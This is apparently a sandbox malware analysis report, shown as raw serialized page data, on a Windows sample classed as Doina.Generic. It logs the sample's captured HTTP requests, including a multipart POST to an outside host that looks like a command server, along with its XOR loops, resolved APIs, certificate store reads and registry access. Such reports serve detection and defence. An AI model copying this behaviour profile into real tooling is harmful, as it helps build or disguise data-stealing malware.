24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 36:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T488,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Doina.Generic Sample 08d03a5ca6fd… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 08d03a5ca6fd…. Malware family: Doina.Generic. Threat score 100/100. 11/28 AV engines flagged this file. 2 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","keywords":["Malicious","Doina.Generic","malware analysis","sandbox report","threat intelligence","08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Doina.Generic","antivirusDetections":{"malicious":11,"total":28},"behavioralIndicators":{"malicious":2,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T1952,Contains base64 string in header "Keep" in header "GET /scii0n HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Host: t.me" Contains base64 string in header "Encoding" in header "GET /scii0n HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Host: t.me" Contains base64 string in header "gzip" in header "GET /scii0n HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Host: t.me" Contains base64 string in header "Language" in header "GET /scii0n HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Host: t.me" Contains base64 string in header "YaBrowser/26" in header "GET /scii0n HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Host: t.me" Contains base64 string in header "POST" in header "POST /cm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0c66491730f40cd2d794Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: v75.666iapk.net" Contains base64 string in header "Keep" in header "POST /cm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0c66491730f40cd2d794Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: v75.666iapk.net" Contains base64 string in header "cacheContent" in header "POST /cm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0c66491730f40cd2d794Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: v75.666iapk.net" Contains base64 string in header "Type" in header "POST /cm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0c66491730f40cd2d794Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: v75.666iapk.net" Contains base64 string in header "data" in header "POST /cm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0c66491730f40cd2d794Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: v75.666iapk.net" Contains base64 string in header "Encoding" in header "POST /cm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0c66491730f40cd2d794Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: v75.666iapk.net" Contains base64 string in header "gzip" in header "POST /cm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0c66491730f40cd2d794Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: v75.666iapk.net" Contains base64 string in header "Language" in header "POST /cm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0c66491730f40cd2d794Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: v75.666iapk.net" Contains base64 string in header "YaBrowser/26" in header "POST /cm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0c66491730f40cd2d794Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: v75.666iapk.net" Contains base64 string in header "0Content" in header "POST /cm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0c66491730f40cd2d794Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: v75.666iapk.net"26:T684,Found XOR loop in file "sample.bin" at offset 39054; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 60992; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 83079; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 111125; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 129097; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 212007; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 252728; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2831; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 49930; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 61383; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 131694; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 132791; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 139437; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 206519; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 265850; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 36845; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 88196; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 119413; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 130126; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 169915; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 189503; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 196285; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 211608; code bytes = 803027:T9ce,"file.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000051a7b878f97f00000000000000000000000000000000000000e89680b5000000000000000000000050e79680b50000001033c678f97f000000000000000000009032c678f97f000004000000000000000000ea1bf90100000000000000000000c019161cf901000018e89680b500000076c5ba78f97f00000000000000000000000000000000000000ec9680b50000000000000000000000f0e79680b5000000650073007300740000007200000000000300000000000000080000000f00000001000000f97f0000c019161cf9010000b015ea1b0f00000018e89680b5000000c3f0b578f97f00005087161cf9010000e884b678f97f000010da161c (UID: 00000000-00003700) "file.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003700) "file.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003700) "file.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003700)28:T4cf,"file.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "file.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")29:T24de,"file.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter GetProcessHeap (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter HeapReAlloc (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter HeapFree (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtClose (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtReadFile (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtWriteFile (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtCreateFile (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtQueryInformationFile (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtSetInformationFile (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtQueryDirectoryFile (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtAllocateVirtualMemory (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtFreeVirtualMemory (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtProtectVirtualMemory (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtQueryVirtualMemory (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtReadVirtualMemory (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtWriteVirtualMemory (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtOpenProcess (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtTerminateProcess (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtOpenProcessToken (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtQueryInformationToken (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtQueryInformationProcess (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtAdjustPrivilegesToken (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtCreateThreadEx (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtSetInformationThread (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtOpenThread (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtDelayExecution (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtWaitForSingleObject (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtSetTimer2 (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtDuplicateObject (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtQueryObject (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtQueryInformationWorkerFactory (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtCreateMutant (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtOpenKey (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtEnumerateKey (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtQueryValueKey (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtCreateSemaphore (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter NtReleaseSemaphore (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter SetConsoleOutputCP (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter GetTickCount (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter BCryptOpenAlgorithmProvider (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter BCryptSetProperty (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter BCryptGenerateSymmetricKey (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter BCryptDecrypt (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter BCryptEncrypt (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter BCryptDestroyKey (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter BCryptCloseAlgorithmProvider (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter BCryptGenRandom (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter Process32FirstW (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter Process32NextW (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter wvsprintfA (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter GetVolumeInformationA (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter GetCurrentHwProfileA (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter RegSetValueExA (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter CreateDirectoryA (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter WinHttpConnect (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter WinHttpOpenRequest (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter WinHttpSendRequest (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter WinHttpWriteData (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter WinHttpReceiveResponse (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter WinHttpQueryHeaders (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter WinHttpReadData (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter WinHttpSetOption (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter WinHttpCrackUrl (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter WinHttpAddRequestHeaders (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter BCryptCreateHash (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter BCryptHashData (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter BCryptFinishHash (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter BCryptDestroyHash (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter CreateThread (UID: 00000000-00003700) "file.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00003700)2a:T451,"file.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff954dd0000 "file.exe" loaded module "BCRYPT.DLL" at base 7ff974a00000 "file.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff975d80000 "file.exe" loaded module "WINHTTP.DLL" at base 7ff971280000 "file.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ff957360000 "file.exe" loaded module "RPCRT4.DLL" at base 7ff9784a0000 "file.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff974730000 "file.exe" loaded module "SSPICLI.DLL" at base 7ff974da0000 "file.exe" loaded module "KERNEL32.DLL" at base 7ff976020000 "file.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff96d850000 "file.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff96dd60000 "file.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ff974280000 "file.exe" loaded module "MSKEYPROTECT.DLL" at base 7ff9645d0000 "file.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ff965d70000 "file.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff9743400002b:T65d,The input sample is signed with a certificate issued by "CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: C2:28:12:7F:8C:B2:D6:C7:3A:96:F0:44:37:DF:F9:9A:E8:C6:84:BC; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 27:AC:93:69:FA:F2:52:07:BB:26:27:CE:FA:CC:BE:4E:F9:C3:19:B8; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 47:BE:AB:C9:22:EA:E8:0E:78:78:34:62:A7:9F:45:C2:54:FD:E6:8B; see report for more information) The input sample is signed with a certificate issued by "CN=YE1, O=Let's Encrypt, C=US" (SHA1: 9D:45:74:E6:6E:D4:85:CA:61:7F:E7:80:78:A7:DB:A6:74:93:7B:B3; see report for more information) The input sample is signed with a certificate issued by "CN=Root YE, O=ISRG, C=US" (SHA1: D0:93:70:A9:86:49:82:A5:04:7D:A4:63:73:54:02:56:D0:8A:3C:81; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X2, O=Internet Security Research Group, C=US" (SHA1: F3:76:20:FC:4B:1C:DD:D2:A3:D7:4B:1D:5E:8D:B4:2E:24:4C:A0:06; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 3C:34:E3:56:C7:FC:17:F5:AC:F0:48:24:BC:58:7C:6C:62:39:51:A2; see report for more information)2c:T4a6,"file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SQMSERVICELIST"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\IDS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CRYPTOGRAPHY\PROVIDERS\MICROSOFT SSL PROTOCOL PROVIDER"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CRYPTOGRAPHY\PROVIDERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CRYPTOGRAPHY\CONFIGURATION"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: ""; Value: "")2d:T8eb,"file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SQMSERVICELIST"; Key: "SQMSERVICELIST"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000602XX"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "AUTODIALDLL"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CRYPTOGRAPHY\PROVIDERS\MICROSOFT SSL PROTOCOL PROVIDER"; Key: "ENABLETLSEXTERNALALGORITHMS"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SECURITYPROVIDERS\SCHANNEL"; Key: "USERCONTEXTLOCKCOUNT"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SECURITYPROVIDERS\SCHANNEL"; Key: "USERCONTEXTLISTCOUNT"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\IDS"; Key: "EN-US"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\IDS"; Key: "EN"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTDLLFINDOIDINFO\1.3.6.1.4.1.311.10.3.37!7"; Key: "NAME"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\STRINGCACHESETTINGS"; Key: "STRINGCACHEGENERATION"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\CI.DLL,-100"; 